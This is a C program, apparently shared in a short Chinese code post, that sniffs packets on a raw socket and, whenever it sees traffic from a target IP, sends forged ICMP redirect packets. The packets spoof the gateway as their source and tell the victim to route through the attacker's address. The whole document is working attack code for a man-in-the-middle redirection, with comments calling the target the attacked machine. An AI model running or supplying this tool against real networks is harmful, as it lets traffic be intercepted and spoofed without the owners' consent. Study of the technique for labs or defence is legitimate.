raw socket探嗅和icmp重定向
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<netinet/ip_icmp.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ether.h>
#include<sys/types.h>
#include<errno.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<linux/tcp.h>
#include<unistd.h>
#define BUFFSIZE 2048
unsigned char * target;
unsigned char * netgate;
unsigned char * attaker;
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2;
}
if(len)
sum+=*(u_int8_t *)cbuf;
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
void icmping(unsigned char * target){
char buff[28]={0};
int send;
int sockfd3;
if((sockfd3=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{ perror("socket error!");exit(1); }
send = 0;//发送计数器
//判断ip
printf("%s",target);
struct icmp * icmp = (struct icmp*)(buff);//强制类型转换
//定义icmp类型为ping的请求包
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_id = 2;
icmp->icmp_seq = 3;
struct sockaddr_in dest_t = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
while(send < 2)
{
send++;
icmp->icmp_seq = icmp->icmp_seq+1;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = checksum((u_int8_t *)icmp,8);
sendto(sockfd3, buff, 28,0,(struct sockaddr *)&dest_t,sizeof(dest_t));//参数意思分别为,套接字sockdf,发送载荷的缓冲区,载荷长度,flags参数(0为常规),目的IP信息,sockaddr结构体长度
//sleep(1);//sendto返回的是实际的发送的数据量
}
close(sockfd3);
}
void redirect(unsigned char *target,unsigned char * attaker,unsigned char * netgate,struct ip** ip){
printf("redirect strat!\n");
int sockfd;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
printf("sock error\n");
}
const int on = 1;
if(setsockopt(sockfd,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0)
{
printf("set socket option error!\n");
}
u_char out_packet[20 + 8 + 28]; //20为ip头部 8字节icmp头 28字节为针对的原始ip首部20字节及数据部分前8字节
struct ip *iph = (struct ip *)out_packet; //强制类型转换ipHeader
struct icmp *icmph = (struct icmp *)(out_packet + 20); //icmpHeader
//填充ip头部内容
iph->ip_v = 4;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_ttl = 255;
iph->ip_len = 56;
iph->ip_id = 0;
iph->ip_off = 0;
iph->ip_p = 1;
iph->ip_src.s_addr = inet_addr(netgate); //源地址为网关地址
iph->ip_dst.s_addr = inet_addr(target); //目的地址为被攻击机地址
//填充icmp头部
icmph->icmp_type = 5;
icmph->icmp_code = 1;
icmph->icmp_hun.ih_gwaddr.s_addr = inet_addr(attaker); //重定向到攻击者地址
memcpy(out_packet+28,*ip,28);
iph->ip_sum =0;
icmph->icmp_cksum = 0;
iph->ip_sum = checksum(out_packet,20);
icmph->icmp_cksum = checksum(out_packet + 20,36);
struct sockaddr_in dest = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
/*struct sockaddr_in ng = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(netgate) // 设置地址为
}
};
*/
printf("包已构建\n");
if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0)
{
printf("Error number: %d\n", errno);
exit(-1);
}
/*if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&ng, sizeof(ng)) < 0)
{
printf("Error number: %d\n", errno);
exit(-1);
}
*/
close(sockfd);
}
int main(int argc, char * argv[]){
int rawsock;
unsigned char buff[BUFFSIZE];
int n;
int count = 0;
if(argc != 4){
printf("argument is not enough");
exit(1);
}
target=argv[1];
attaker=argv[2];
netgate=argv[3];
printf("agrment normal\n");
rawsock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(rawsock < 0){
printf("raw socket error!\n");
exit(1);
}
//建立socket文件描述符是否失败
icmping(target);
while(1){
n = recvfrom(rawsock,buff,BUFFSIZE,0,NULL,NULL);
if(n<0){
printf("receive error!\n");
exit(1);
}
count++;
printf("get packet+\n");
struct ip *ip = (struct ip*)(buff+14);
printf("src.ip==%s\n",(unsigned char*)inet_ntoa(ip->ip_src));
int flag=0;
for(int len=0;len<15;){
if(((unsigned char*)inet_ntoa(ip->ip_src))[len]==target[len]){
len++;
flag=1;
}
else
{
flag=0;
break;
}
}
if(flag==1)
//for(int count=0;count<4;count++)
redirect(target,attaker,netgate,&ip);
//icmping(target);
//printf("%4d %15s",count,inet_ntoa(ip->ip_src));
//printf("%15s %5d %5d\n",inet_ntoa(ip->ip_dst),ip->ip_p,n);
}
}
将就看吧